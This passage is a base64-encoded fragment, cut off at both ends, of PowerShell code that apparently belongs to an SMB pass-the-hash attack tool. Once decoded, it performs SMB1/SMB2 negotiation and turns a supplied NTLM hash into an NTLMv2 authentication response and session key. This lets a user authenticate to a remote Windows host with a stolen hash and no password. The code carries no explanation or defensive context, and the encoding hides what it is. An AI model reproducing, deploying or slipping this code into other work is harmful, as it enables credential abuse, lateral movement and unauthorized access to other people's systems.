mFibGVkIg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nID0gJHRydWUNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2Vzc2lvbl9rZXlfbGVuZ3RoID0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX25lZ290aWF0ZV9mbGFncyA9IDB4MTUsMHg4MiwweDA4LDB4YTANCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmluZyA9ICRmYWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zZXNzaW9uX2tleV9sZW5ndGggPSAweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmVnb3RpYXRlX2ZsYWdzID0gMHgwNSwweDgwLDB4MDgsMHhhMA0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJ05lZ290aWF0ZVNNQjInDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJFNNQjJfdHJlZV9JRCA9IDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAkU01CX3Nlc3Npb25fSUQgPSAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEID0gMQ0KICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDAwLDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRCAgDQogICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdA0KICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGENCiAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpICAgIA0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ05UTE1TU1BOZWdvdGlhdGUnDQogICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAnTlRMTVNTUE5lZ290aWF0ZScNCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4NzMgMHgxOCAweDA3LDB4YzggMHhmZiwweGZmICRwcm9jZXNzX0lEX2J5dGVzIDB4MDAsMHgwMA0KDQogICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF9uZWdvdGlhdGUgPSBHZXQtUGFja2V0TlRMTVNTUE5lZ290aWF0ZSAkU01CX25lZ290aWF0ZV9mbGFncw0KICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAkTlRMTVNTUF9uZWdvdGlhdGUgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfbmVnb3RpYXRlICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0ICROVExNU1NQX25lZ290aWF0ZQ0KICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkU01CX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCiAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwMSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OVExNU1NQX25lZ290aWF0ZSA9IEdldC1QYWNrZXROVExNU1NQTmVnb3RpYXRlICRTTUJfbmVnb3RpYXRlX2ZsYWdzDQogICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgJE5UTE1TU1BfbmVnb3RpYXRlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OVExNU1NQX25lZ290aWF0ZSAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMlNlc3Npb25TZXR1cFJlcXVlc3QgJE5UTE1TU1BfbmVnb3RpYXRlDQogICAgICAgICAgICAgICAgICAgICRTTUIyX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCiAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGENCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnZXhpdCcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICAkU01CX05UTE1TU1AgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmUpDQogICAgJFNNQl9OVExNU1NQID0gJFNNQl9OVExNU1NQIC1yZXBsYWNlICItIiwiIg0KICAgICRTTUJfTlRMTVNTUF9pbmRleCA9ICRTTUJfTlRMTVNTUC5JbmRleE9mKCI0RTU0NEM0RDUzNTM1MDAwIikNCiAgICAkU01CX05UTE1TU1BfYnl0ZXNfaW5kZXggPSAkU01CX05UTE1TU1BfaW5kZXggLyAyDQogICAgJFNNQl9kb21haW5fbGVuZ3RoID0gRGF0YUxlbmd0aDIgKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDEyKSAkU01CX2NsaWVudF9yZWNlaXZlDQogICAgJFNNQl90YXJnZXRfbGVuZ3RoID0gRGF0YUxlbmd0aDIgKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDQwKSAkU01CX2NsaWVudF9yZWNlaXZlDQogICAgJFNNQl9zZXNzaW9uX0lEID0gJFNNQl9jbGllbnRfcmVjZWl2ZVs0NC4uNTFdDQogICAgJFNNQl9OVExNX2NoYWxsZW5nZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDI0KS4uKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDMxKV0NCiAgICAkU01CX3RhcmdldF9kZXRhaWxzID0gJFNNQl9jbGllbnRfcmVjZWl2ZVsoJFNNQl9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTYgKyAkU01CX2RvbWFpbl9sZW5ndGgpLi4oJFNNQl9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTUgKyAkU01CX2RvbWFpbl9sZW5ndGggKyAkU01CX3RhcmdldF9sZW5ndGgpXQ0KICAgICRTTUJfdGFyZ2V0X3RpbWVfYnl0ZXMgPSAkU01CX3RhcmdldF9kZXRhaWxzWygkU01CX3RhcmdldF9kZXRhaWxzLmxlbmd0aCAtIDEyKS4uKCRTTUJfdGFyZ2V0X2RldGFpbHMubGVuZ3RoIC0gNSldDQogICAgJE5UTE1faGFzaF9ieXRlcyA9ICgme2ZvciAoJGkgPSAwOyRpIC1sdCAkaGFzaC5sZW5ndGg7JGkgKz0gMil7JGhhc2guU3ViU3RyaW5nKCRpLDIpfX0pIC1qb2luICItIg0KICAgICROVExNX2hhc2hfYnl0ZXMgPSAkTlRMTV9oYXNoX2J5dGVzLlNwbGl0KCItIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAkYXV0aF9ob3N0bmFtZSA9IChHZXQtQ2hpbGRJdGVtIC1wYXRoIGVudjpjb21wdXRlcm5hbWUpLlZhbHVlDQogICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCRhdXRoX2hvc3RuYW1lKQ0KICAgICRhdXRoX2RvbWFpbl9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJERvbWFpbikNCiAgICAkYXV0aF91c2VybmFtZV9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJHVzZXJuYW1lKQ0KICAgICRhdXRoX2RvbWFpbl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGgpDQogICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICRhdXRoX2RvbWFpbl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGgpDQogICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoKQ0KICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCA9ICRhdXRoX3VzZXJuYW1lX2xlbmd0aFswLDFdDQogICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGgpDQogICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gJGF1dGhfaG9zdG5hbWVfbGVuZ3RoWzAsMV0NCiAgICAkYXV0aF9kb21haW5fb2Zmc2V0ID0gMHg0MCwweDAwLDB4MDAsMHgwMA0KICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICRhdXRoX0xNX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArICRhdXRoX2hvc3RuYW1lX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICRhdXRoX05UTE1fb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgODgpDQogICAgJEhNQUNfTUQ1ID0gTmV3LU9iamVjdCBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkhNQUNNRDUNCiAgICAkSE1BQ19NRDUua2V5ID0gJE5UTE1faGFzaF9ieXRlcw0KICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0ID0gJHVzZXJuYW1lLlRvVXBwZXIoKQ0KICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0X2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkdXNlcm5hbWVfYW5kX3RhcmdldCkNCiAgICAkdXNlcm5hbWVfYW5kX3RhcmdldF9ieXRlcyArPSAkYXV0aF9kb21haW5fYnl0ZXMNCiAgICAkTlRMTXYyX2hhc2ggPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMpDQogICAgJGNsaWVudF9jaGFsbGVuZ2UgPSBbU3RyaW5nXSgxLi44IHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgJGNsaWVudF9jaGFsbGVuZ2VfYnl0ZXMgPSAkY2xpZW50X2NoYWxsZW5nZS5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQoNCiAgICAkc2VjdXJpdHlfYmxvYl9ieXRlcyA9IDB4MDEsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl90YXJnZXRfdGltZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNsaWVudF9jaGFsbGVuZ2VfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfdGFyZ2V0X2RldGFpbHMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMA0KDQogICAgJHNlcnZlcl9jaGFsbGVuZ2VfYW5kX3NlY3VyaXR5X2Jsb2JfYnl0ZXMgPSAkU01CX05UTE1fY2hhbGxlbmdlICsgJHNlY3VyaXR5X2Jsb2JfYnl0ZXMNCiAgICAkSE1BQ19NRDUua2V5ID0gJE5UTE12Ml9oYXNoDQogICAgJE5UTE12Ml9yZXNwb25zZSA9ICRITUFDX01ENS5Db21wdXRlSGFzaCgkc2VydmVyX2NoYWxsZW5nZV9hbmRfc2VjdXJpdHlfYmxvYl9ieXRlcykNCg0KICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICB7DQogICAgICAgICRzZXNzaW9uX2Jhc2Vfa2V5ID0gJEhNQUNfTUQ1LkNvbXB1dGVIYXNoKCROVExNdjJfcmVzcG9uc2UpDQogICAgICAgICRzZXNzaW9uX2tleSA9ICRzZXNzaW9uX2Jhc2Vfa2V5DQogICAgICAgICRITUFDX1NIQTI1NiA9IE5ldy1PYmplY3QgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5ITUFDU0hBMjU2DQogICAgICAgICRITUFDX1NIQTI1Ni5rZXkgPSAkc2Vzc2lvbl9rZXkNCiAgICB9DQoNCiAgICAkTlRMTXYyX3Jlc3BvbnNlID0gJE5UTE12Ml9yZXNwb25zZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgJE5UTE12Ml9yZXNwb25zZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCROVExNdjJfcmVzcG9uc2UuTGVuZ3RoKQ0KICAgICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoID0gJE5UTE12Ml9yZXNwb25zZV9sZW5ndGhbMCwxXQ0KICAgICRTTUJfc2Vzc2lvbl9rZXlfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgJE5UTE12Ml9yZXNwb25zZS5MZW5ndGggKyA4OCkNCg0KICAgICROVExNU1NQX3Jlc3BvbnNlID0gMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDMsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxOCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MTgsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfTE1fb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE5UTE12Ml9yZXNwb25zZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX05UTE1fb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3Nlc3Npb25fa2V5X2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zZXNzaW9uX2tleV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2Vzc2lvbl9rZXlfb2Zmc2V0ICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX25lZ290aWF0ZV9mbGFncyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX2J5dGVzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF91c2VybmFtZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlDQoNCiAgICBpZigkU01CX3ZlcnNpb24gLWVxICdTTUIxJykNCiAgICB7DQogICAgICAgICRTTUJfdXNlcl9JRCA9ICRTTUJfY2xpZW50X3JlY2VpdmVbMzIsMzNdDQogICAgICAgICRwYWNrZXRfU01CX2hlYWRlciA9IEdldC1QYWNrZXRTTUJIZWFkZXIgMHg3MyAweDE4IDB4MDcsMHhjOCAweGZmLDB4ZmYgJHByb2Nlc3NfSURfYnl0ZXMgJFNNQl91c2VyX0lEDQoNCiAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICB7DQogICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9GbGFnczIiXSA9IDB4MDUsMHg0OA0KICAgICAgICB9DQoNCiAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfVXNlcklEIl0gPSAkU01CX3VzZXJfSUQNCiAgICAgICAgJHBhY2tldF9OVExNU1NQX25lZ290aWF0ZSA9IEdldC1QYWNrZXROVExNU1NQQXV0aCAkTlRMTVNTUF9yZXNwb25zZQ0KICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAkTlRMTVNTUF9uZWdvdGlhdGUgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfbmVnb3RpYXRlICAgICAgDQogICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QgJE5UTE1TU1BfbmVnb3RpYXRlDQogICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAxDQogICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDAxLDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAkcGFja2V0X05UTE1TU1BfYXV0aCA9IEdldC1QYWNrZXROVExNU1NQQXV0aCAkTlRMTVNTUF9yZXNwb25zZQ0KICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICROVExNU1NQX2F1dGggPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfYXV0aCAgICAgICAgDQogICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0ICROVExNU1NQX2F1dGgNCiAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhDQogICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YQ0KICAgIH0NCg0KICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1